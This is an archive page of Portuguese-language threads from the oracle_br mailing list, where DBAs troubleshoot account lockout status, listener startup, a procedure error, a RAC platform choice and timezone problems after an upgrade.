server 2003. Att, Paulo. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: help conta bloqueada
O gato morto é explicado no note ID 284344.1 - DBA_USERS.ACCOUNT_STATUS shows LOCKED after FAILED_LOGIN_ATTEMPTS Is Breached: Expected behaviour is 1. Oracle release is = 11.1.0.7. DBA_USERS.ACCOUNT_STATUS = LOCKED(TIMED) whenever the number of failed login attempts is FAILED_LOGIN_ATTEMPTS 2. Oracle release is = 11.2 and PASSWORD_LOCK_TIME = unlimited: DBA_USERS.ACCOUNT_STATUS = LOCKED whenever the number of failed login attempts is FAILED_LOGIN_ATTEMPTS 3. Oracle release is = 11.2 and PASSWORD_LOCK_TIME = some fix value DBA_USERS.ACCOUNT_STATUS = LOCKED(TIMED) whenever the number of failed login attempts is FAILED_LOGIN_ATTEMPTS Note that 10.2.0.5 displays the same behavior as 11.2, because the fix that changed the behavior in 11.2 was introduced in 10.2.0.5. O banco do Chiappa deve ser 10.2.0.5, o do Paulo é 10.2.0.4. 2012/9/11 Ivan Ricardo Schuster ivanr...@gmail.com: Tem algum gato morto aí. Antes realmente tinha testado em um banco 11.2.0.2, criando um profile novo e só definindo o FAILED_LOGIN_ATTEMPTS, mas usando o profile default em um banco 10.2.0.4, também tenho LOCKED(TIMED): SQL select * from dba_profiles where profile='DEFAULT'; PROFILERESOURCE_NAMERESOURCE LIMIT -- DEFAULTCOMPOSITE_LIMIT KERNEL UNLIMITED DEFAULTSESSIONS_PER_USERKERNEL UNLIMITED DEFAULTCPU_PER_SESSION KERNEL UNLIMITED DEFAULTCPU_PER_CALL KERNEL UNLIMITED DEFAULTLOGICAL_READS_PER_SESSIONKERNEL UNLIMITED DEFAULTLOGICAL_READS_PER_CALL KERNEL UNLIMITED DEFAULTIDLE_TIMEKERNEL UNLIMITED DEFAULTCONNECT_TIME KERNEL UNLIMITED DEFAULTPRIVATE_SGA KERNEL UNLIMITED DEFAULTFAILED_LOGIN_ATTEMPTSPASSWORD 10 DEFAULTPASSWORD_LIFE_TIME PASSWORD UNLIMITED DEFAULTPASSWORD_REUSE_TIME PASSWORD UNLIMITED DEFAULTPASSWORD_REUSE_MAX PASSWORD UNLIMITED DEFAULTPASSWORD_VERIFY_FUNCTION PASSWORD NULL DEFAULTPASSWORD_LOCK_TIME PASSWORD UNLIMITED DEFAULTPASSWORD_GRACE_TIME PASSWORD UNLIMITED SQL alter user ivan profile default; User altered. SQL alter user ivan account unlock; User altered. SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied Warning: You are no longer connected to ORACLE. SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-01017: invalid username/password; logon denied SQL conn ivan/1 ERROR: ORA-28000: the account is locked SQL conn / as sysdba Connected. SQL select ACCOUNT_STATUS from dba_users where username='IVAN'; ACCOUNT_STATUS LOCKED(TIMED) SQL select banner from v$version; BANNER Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Prod PL/SQL Release 10.2.0.4.0 - Production CORE10.2.0.4.0 Production TNS for Linux: Version 10.2.0.4.0 - Production NLSRTL Version 10.2.0.4.0 - Production 2012/9/11 J. Laurindo Chiappa jlchia...@yahoo.com.br: Colega, se REALMENTE vc conferiu no database, consultando a DBA_PROFILES e a DBA_USERS (não se fiando em defaults e nem em documentação e/ou na palavra de analistas), e realmente os usuários estão no profile DEFAULT ** e ** o profile default realmente está Inalterado, então vc NÂO deveria ter esse status de LOCK (TIMED) , veja o teste : = com tudo Realmente default (é o caso deste database de testes) , um account só vai ficar bloqueado por ACCOUNT LOCK ou por senha errada por 10 vezes, veja : SYSTEM@O10GR2::SQLselect * from dba_profiles; PROFILERESOURCE_NAMERESOURCE LIMIT
Re: [oracle_br] Re: Comparativo performance RAC 11g: Linux ou Windows?
Juliano, Você pode comparar o benchmark de várias configurações (Hardware e SO) na página da TCP: http://www.tpc.org/tpcc Acho que aí tem material mais que suficiente para seu dossiê. Abraço -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux 2012/8/17 ederson2001br ederson200...@yahoo.com.br: Juliano, Trabalho com Oracle desde 1995, na época versão 7.2. Começei com o Oracle em HP-UX. Um ano após o lançamento do Oracle 9i, fiz o downgrade para para uma máquina windows, na época o processador não era intel, mas um processador DEC Alpha 64bits. A máquina era um avião em compração com a antiga com HP-UX, mas o SO infelizmente era Windows. A Microsoft dava os primeiros passos para a plataforma 64bits, descontinuando o SO para a plataforma Alpha (o que matou o processador, o Linux ainda não tinha versão para Alpha). Posso dizer que a experiência foi sofrível. Problemas de memória (a máquina tinha 4Gb mas qualquer acesso acima de 2Gb já dava uma incrível mensagem de memory leak), processador a 100% do nada, máquina travando... Foi preciso remover um pente de memória para conseguir trabalhar no ambiente. Resumo: todos os problemas resolvidos quando migramos para um DELL Dual Xeon com LINUX. A velocidade em mesmo hardware, comparando Linux e Windows, fica em média 30% a favor do Linux. Porque? No Linux vc não vai instalar anti-virus, nem compartilhamento, nem AD, nem modo gráfico, etc. Usuário comum não vai ficar bisbilhotando a máquina, de preferência, coloque em modo caracter que já restringe 90% da curiosidade. Resumindo, uma frase que até já falei aqui: no servidor com Oracle, nenhum software a mais, no máximo instalo o sistema operacional. Dados técnicos: procure a diferença entre Multitask e Multithread. Ederson Elias DBA Oracle http://br.linkedin.com/pub/ederson-elias/24/8b/8b0 --- Em oracle_br@yahoogrupos.com.br, juliano ribeiro julianonoizaum@... escreveu Bom dia pessoal, Já acompanho a comunidade a alguns anos, aprendi varias coisas legais com os problemas do pessoal, sempre achei uma ótima fonte de conhecimento. Hoje estou com um problema, não é critico, mas caso alguem possa me ajudar,agradeço muito. Farei uma instalação para um cliente, RAC(2 nodes) com oracle 11g standart, montei uma ambiente de teste e homologação em VMs com unbreakable 5.5 (versao que me sinto mais seguro, questao pessoal). Mas o cliente esta querendo mudar para Windows 2008 datacenter(nao tenho muitos detalhes), ele que mesmo mudar para ambiente windows, pois la ninguem saca nada de linux. Tudo que aprendi de oracle, é que ele sempre trabalha melhor em Linux/Unix. Pois ele foi desenvolvido e trabalha melhor para essa arquitetura(aprendi assim, me corrijam se estiver errado)=D Como me sinto mais seguro com a base no linux, longe de curiosos acessando pelo AD e talz... Minha luta, esta sendo reunir comprovações técnicas de que o desempenho é realmente melhor com o linux. Estou buscando principalmente na Oracle.com. Mas se isso é fato ou lenda? Obrigado. Att. Juliano Ribeiro OCP - Database 10g OCA - PL/SQL MCTS - SQL Server 2008 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Listener misterioso
Ok Vitor, esta informação você não havia passado. O SELinux não está ativo? Firewall quem sabe? Verifique se o netstat -an |grep 1521 retorna algo. 2012/6/25 Vitor Rosa vitorj...@gmail.com: Apenas corrigindo onde colei a parte do ping, acabei copiando do início da instalação, antes de definir o ip: [oracle@vmlinux ~]$ hostname -i 10.225.13.84 [oracle@vmlinux ~]$ [oracle@vmlinux ~]$ ping vmlinux.net PING vmlinux.net (10.225.13.84) 56(84) bytes of data. 64 bytes from vmlinux.net (10.225.13.84): icmp_seq=1 ttl=64 time=0.020 ms 64 bytes from vmlinux.net (10.225.13.84): icmp_seq=2 ttl=64 time=0.037 ms 64 bytes from vmlinux.net (10.225.13.84): icmp_seq=3 ttl=64 time=0.031 ms ^C --- vmlinux.net ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1999ms rtt min/avg/max/mdev = 0.020/0.029/0.037/0.008 ms [oracle@vmlinux ~]$ --- Em oracle_br@yahoogrupos.com.br, Vitor Rosa vitorjr81@... escreveu Não entendi Ivan… o listener.ora já está com o nome da vm registrado, conforme mostrei no arquivo do listener no mail anterior: [oracle@vmlinux trace]$ hostname vmlinux.net [oracle@vmlinux trace]$ hostname -f vmlinux.net [oracle@vmlinux trace]$ cat /u01/app/oracle/product/11.2.0/xe/network/admin/listener.ora # listener.ora Network Configuration File: SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = PLSExtProc) (ORACLE_HOME = /u01/app/oracle/product/11.2.0/xe) (PROGRAM = extproc) ) ) LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC_FOR_XE)) (ADDRESS = (PROTOCOL = TCP)(HOST = vmlinux.net)(PORT = 1521)) ) ) DEFAULT_SERVICE_LISTENER = (XE) [oracle@vmlinux trace]$ cat /etc/hosts # Do not remove the following line, or various programs # that require network functionality will fail. #127.0.0.1 localhost.localdomain localhost 127.0.0.1 vmlinux.net vmlinux ::1 localhost6.localdomain6 localhost6 [oracle@vmlinux trace]$ [oracle@vmlinux trace]$ ping vmlinux.net PING vmlinux.net (127.0.0.1) 56(84) bytes of data. 64 bytes from vmlinux.net (127.0.0.1): icmp_seq=1 ttl=64 time=0.081 ms 64 bytes from vmlinux.net (127.0.0.1): icmp_seq=2 ttl=64 time=0.243 ms ^C --- vmlinux.net ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.081/0.162/0.243/0.081 ms [oracle@vmlinux trace]$ --- Em oracle_br@yahoogrupos.com.br, Ivan Ricardo Schuster ivanrs79@ escreveu Vitor, O hostname vmlinux.net está definido para algum ip da máquina? Duas opções, ou você registra este nome no /etc/hosts apontando pra um ip da tua máquina ou você ajusta o arquivo listener.ora com o nome da tua vm (segunda opção recomendada). 2012/6/25 Vitor Rosa vitorjr81@: Estou com um banco XE em uma vm para estudos, tentando simular um problema e acabei me deparando com isso: O banco é um XE 11, rodando em um Oracle Linux. A situação é que logo após o start do listener o processo não permanece no ar no sistema operacional, e o comando de status já retorna como se não houvesse listener algum no ar: [oracle@vmlinux ~]$ cat /etc/*release Enterprise Linux Enterprise Linux Server release 5.7 (Carthage) Oracle Linux Server release 5.7 Red Hat Enterprise Linux Server release 5.7 (Tikanga) [oracle@vmlinux ~]$ [oracle@vmlinux ~]$ lsnrctl start LSNRCTL for Linux: Version 11.2.0.2.0 - Production on 25-JUN-2012 15:07:02 Copyright (c) 1991, 2011, Oracle. All rights reserved. Iniciando /u01/app/oracle/product/11.2.0/xe/bin/tnslsnr: aguarde... TNSLSNR for Linux: Version 11.2.0.2.0 - Production System parameter file is /u01/app/oracle/product/11.2.0/xe/network/admin/listener.ora Log messages written to /u01/app/oracle/product/11.2.0/xe/log/diag/tnslsnr/vmlinux/listener/alert/log.xml Atendendo em: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC_FOR_XE))) Atendendo em: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=vmlinux.net)(PORT=1521))) Estabelecendo conexão com (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC_FOR_XE))) STATUS do LISTENER Apelido LISTENER Versão TNSLSNR for Linux: Version 11.2.0.2.0 - Production Data Inicial 25-JUN-2012 15:07:03 Funcionamento 0 dias 0 hr. 0 min. 0 seg Nível de Análise off Segurança ON: Local OS Authentication SNMP OFF Serviço Default XE Arq. Parâm. Listn. /u01/app/oracle/product/11.2.0/xe/network/admin/listener.ora Arq. Log Listener /u01/app/oracle/product/11.2.0/xe/log/diag/tnslsnr/vmlinux/listener/alert/log.xml Resumo de Atendimento... (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC_FOR_XE))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=vmlinux.net)(PORT=1521
Re: [oracle_br] Listener misterioso
Vitor, O hostname vmlinux.net está definido para algum ip da máquina? Duas opções, ou você registra este nome no /etc/hosts apontando pra um ip da tua máquina ou você ajusta o arquivo listener.ora com o nome da tua vm (segunda opção recomendada). 2012/6/25 Vitor Rosa vitorj...@gmail.com: Estou com um banco XE em uma vm para estudos, tentando simular um problema e acabei me deparando com isso: O banco é um XE 11, rodando em um Oracle Linux. A situação é que logo após o start do listener o processo não permanece no ar no sistema operacional, e o comando de status já retorna como se não houvesse listener algum no ar: [oracle@vmlinux ~]$ cat /etc/*release Enterprise Linux Enterprise Linux Server release 5.7 (Carthage) Oracle Linux Server release 5.7 Red Hat Enterprise Linux Server release 5.7 (Tikanga) [oracle@vmlinux ~]$ [oracle@vmlinux ~]$ lsnrctl start LSNRCTL for Linux: Version 11.2.0.2.0 - Production on 25-JUN-2012 15:07:02 Copyright (c) 1991, 2011, Oracle. All rights reserved. Iniciando /u01/app/oracle/product/11.2.0/xe/bin/tnslsnr: aguarde... TNSLSNR for Linux: Version 11.2.0.2.0 - Production System parameter file is /u01/app/oracle/product/11.2.0/xe/network/admin/listener.ora Log messages written to /u01/app/oracle/product/11.2.0/xe/log/diag/tnslsnr/vmlinux/listener/alert/log.xml Atendendo em: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC_FOR_XE))) Atendendo em: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=vmlinux.net)(PORT=1521))) Estabelecendo conexão com (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC_FOR_XE))) STATUS do LISTENER Apelido LISTENER Versão TNSLSNR for Linux: Version 11.2.0.2.0 - Production Data Inicial 25-JUN-2012 15:07:03 Funcionamento 0 dias 0 hr. 0 min. 0 seg Nível de Análise off Segurança ON: Local OS Authentication SNMP OFF Serviço Default XE Arq. Parâm. Listn. /u01/app/oracle/product/11.2.0/xe/network/admin/listener.ora Arq. Log Listener /u01/app/oracle/product/11.2.0/xe/log/diag/tnslsnr/vmlinux/listener/alert/log.xml Resumo de Atendimento... (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC_FOR_XE))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=vmlinux.net)(PORT=1521))) Resumo de Serviços... O serviço PLSExtProc tem 1 instância(s). Instância PLSExtProc, status UNKNOWN, tem 1 handler(s) para este serviço... O comando foi executado com êxito [oracle@vmlinux ~]$ [oracle@vmlinux ~]$ ps auxww|grep -i lsn oracle 11890 0.0 0.0 63240 864 pts/1 S+ 15:08 0:00 grep -i lsn [oracle@vmlinux ~]$ [oracle@vmlinux ~]$ lsnrctl status LSNRCTL for Linux: Version 11.2.0.2.0 - Production on 25-JUN-2012 15:09:00 Copyright (c) 1991, 2011, Oracle. All rights reserved. Estabelecendo conexão com (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC_FOR_XE))) TNS-12541: TNS:não há listener TNS-12560: TNS:erro de adaptador de protocolo TNS-00511: Não há listener Linux Error: 111: Connection refused Estabelecendo conexão com (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=vmlinux.net)(PORT=1521))) TNS-12541: TNS:não há listener TNS-12560: TNS:erro de adaptador de protocolo TNS-00511: Não há listener Linux Error: 111: Connection refused [oracle@vmlinux ~]$ Conteúdo do listener.ora: [oracle@vmlinux ~]$ cat /u01/app/oracle/product/11.2.0/xe/network/admin/listener.ora # listener.ora Network Configuration File: SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = PLSExtProc) (ORACLE_HOME = /u01/app/oracle/product/11.2.0/xe) (PROGRAM = extproc) ) ) LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC_FOR_XE)) (ADDRESS = (PROTOCOL = TCP)(HOST = vmlinux.net)(PORT = 1521)) ) ) DEFAULT_SERVICE_LISTENER = (XE) [oracle@vmlinux ~]$ Caso precisem de mais informações para análise, só avisar! :) -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: RES: [oracle_br] Erro procedure
FATURAMENTE parece ser o nome de uma tabela, e na linha de valores do INSERT vc escreveu : faturamento.seq_res_fat_anal.nextval, == isso não faz sentido se FATUTAMENTO for o nome de uma tabela : no RDBMS Oracle, as sequences são INDEPENDENTES das tabelas, então nomedatabela.nomedasequence Não Faz o Menor sentido []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Loiro loiro_2001@... escreveu Broder, Boa tarde! Mande o erro para agregar na pergunta e na resolução do problema. Quanto a solução um dica que dou é coloque o resultado da sequence em uma variável e coloque-a dentro do comando. De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de vieira.rafael44 Enviada em: quarta-feira, 11 de abril de 2012 12:01 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] Erro procedure Pessoal, crio a procedure, mas dá erro na segunda linha do INSERT onde possui o nextval da sequence, dizendo que nao tenho privilegios suficientes, estou Logado com usuário SYSTEM ( isso eh banco de teste, por isso estou conectado com esse usuario). ALguem pode ajudar? CREATE OR REPLACE PROCEDURE SP1_GERAR_RES_FAT_ANAL IS BEGIN -- Sequência = 100 INSERT INTO faturamento.res_fat_anal SELECT faturamento.seq_res_fat_anal.nextval, sp.parm_amreferenciafaturamento, loca.greg_id, loca.uneg_id, loca.loca_id, imov.stcm_id, imov.qdra_id, imov.iper_id, imov.last_id, imov.lest_id, contaCat.catg_id, conta.imov_id, NULL AS clie_id, conta.cnta_id, NULL AS dbac_id, NULL AS crar_id, NULL AS gpag_id, NULL AS gdev_id, 1 AS lctp_id, 1 AS lcit_id, NULL AS lict_id, 100 AS rfaa_nnsequenciatipolancamento, 0 AS rfaa_nnseqitemtplanc, sysdate AS rfaa_tmultimaalteracao, contaCat.ctcg_vlagua AS rfaa_vlitemfaturamento FROM faturamento.conta conta INNER JOIN cadastro.imovel imov ON conta.imov_id = imov.imov_id INNER JOIN faturamento.conta_categoria contaCat ON conta.cnta_id = contaCat.cnta_id INNER JOIN cadastro.localidade loca ON conta.loca_id = loca.loca_id INNER JOIN cadastro.sistema_parametros sp ON 1 = 1 WHERE conta.cnta_amreferenciaconta = sp.parm_amreferenciafaturamento AND( conta.dcst_idatual = 0 OR conta.dcst_idanterior = 0 ) AND contaCat.ctcg_vlagua 0; COMMIT; END; _ avast! Antivirus http://www.avast.com : Inbound message clean. Virus Database (VPS): 120411-0, 11/04/2012 Tested on: 11/04/2012 12:04:41 avast! - copyright (c) 1988-2012 AVAST Software. [As partes desta mensagem que não continham texto foram removidas] -- Att, [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Licenciamento de produtos Oracle
/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/oracle_br/ * Para sair deste grupo, envie um e-mail para: oracle_br-unsubscr...@yahoogrupos.com.br * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [oracle_br] Re: Servidor Oracle ?
. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos -- Att, Diego Leite DBA ORACLE [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas]
Re: RES: [oracle_br] Problemas com horário após upgrade para 11.2.0.3 utilizando grid
Olá Verifique se nas configurações do seu listener define algum timezone diferente do padrão. Algo como: ENVS='TZ=???' 2012/1/16 JLSilva jljlsi...@yahoo.com.br Olá, Rodrigo. Então.. este problema surgiu ao término do upgrade dos softwares oracle (upgrade do Grid e do Database do 11.2.0.2.0 para o 11.2.0.3.0). Fizemos restart e não resolveu. Penso que seja algum bug do listener, pois se reinicio a instance conectando direto (connect / as sysdba), o horário do sysdate fica correto. On Jan 16, 2012, at 12:58 , Rodrigo Mufalani wrote: Bom dia, Já passei um problema semelhante no 10gr2 quando o Adm mudava a região do S.O para ajustes do horário de verão. Resolvia reiniciando o CRS. Atenciosamente, Rodrigo Mufalani mailto:rodr...@mufalani.com.br rodr...@mufalani.com.br http://www.mufalani.com.br/ www.mufalani.com.br twitter: @mufalani De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de JLSilva Enviada em: segunda-feira, 16 de janeiro de 2012 12:52 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] Problemas com horário após upgrade para 11.2.0.3 utilizando grid Senhores, bom dia. Ambiente: Oracle11gR2 11.2.0.3.0 com Grid Infrastructure - RAC 2 nós. Ao iniciar a instance utilizando srvctl, o horário retornado pelo sysdate fica incorreto. No alert.log, as mensagens são registradas com 2 horas adiantadas. Quando conecto via listener, vejo o horário adiantado em 2 horas. Quando conecto localmente, sem usar listener, vejo o horário correto (igual ao do sistema operacional). Aparentemente, ele deixa de considerar o fuso-horário do sistema operacional, ou algo assim. Baixei as instances e iniciei manualmente, utilizando sqlplus com conexão local (connect / as sysba) e daí as conexões via listener passaram a apresentar o horário correto. Estou abrindo um chamado no metalink. Mas, se alguém já passou por esta situação e conseguiu identificar a causa e tem uma solução, ficaria muito agradecido. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas]
Re: RES: [oracle_br] Problemas com horário após upgrade para 11.2.0.3 utilizando grid
Olha, podem ser vários os motivos para o TS estar diferente, dá uma olhada no metalink, no seguinte documento: *Timestamps time zones - Frequently Asked Questions [ID 340512.1]* * * Em último caso, mas último mesmo, defina no listener. Mas você deve estar ciente de que a cada ajuste de TS, tem que mudar lá também. Ah, e alterando estas configurações, muito provavelmente seu EM vai parar de funcionar, vai ter que reconfigurar também. Abraço 2012/1/16 JLSilva jljlsi...@yahoo.com.br Olá, Schuster. Verifiquei agora e não há parâmetro envs no arquivo listener.ora. Seria o caso de configurar isto? Não conheço essa configuração no listener.ora. (vou googlear) On Jan 16, 2012, at 15:02 , Ivan Ricardo Schuster wrote: Olá Verifique se nas configurações do seu listener define algum timezone diferente do padrão. Algo como: ENVS='TZ=???' 2012/1/16 JLSilva jljlsi...@yahoo.com.br Olá, Rodrigo. Então.. este problema surgiu ao término do upgrade dos softwares oracle (upgrade do Grid e do Database do 11.2.0.2.0 para o 11.2.0.3.0). Fizemos restart e não resolveu. Penso que seja algum bug do listener, pois se reinicio a instance conectando direto (connect / as sysdba), o horário do sysdate fica correto. On Jan 16, 2012, at 12:58 , Rodrigo Mufalani wrote: Bom dia, Já passei um problema semelhante no 10gr2 quando o Adm mudava a região do S.O para ajustes do horário de verão. Resolvia reiniciando o CRS. Atenciosamente, Rodrigo Mufalani mailto:rodr...@mufalani.com.br rodr...@mufalani.com.br http://www.mufalani.com.br/ www.mufalani.com.br twitter: @mufalani De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de JLSilva Enviada em: segunda-feira, 16 de janeiro de 2012 12:52 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] Problemas com horário após upgrade para 11.2.0.3 utilizando grid Senhores, bom dia. Ambiente: Oracle11gR2 11.2.0.3.0 com Grid Infrastructure - RAC 2 nós. Ao iniciar a instance utilizando srvctl, o horário retornado pelo sysdate fica incorreto. No alert.log, as mensagens são registradas com 2 horas adiantadas. Quando conecto via listener, vejo o horário adiantado em 2 horas. Quando conecto localmente, sem usar listener, vejo o horário correto (igual ao do sistema operacional). Aparentemente, ele deixa de considerar o fuso-horário do sistema operacional, ou algo assim. Baixei as instances e iniciei manualmente, utilizando sqlplus com conexão local (connect / as sysba) e daí as conexões via listener passaram a apresentar o horário correto. Estou abrindo um chamado no metalink. Mas, se alguém já passou por esta situação e conseguiu identificar a causa e tem uma solução, ficaria muito agradecido. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes
Re: RES: [oracle_br] Problemas com horário após upgrade para 11.2.0.3 utilizando grid
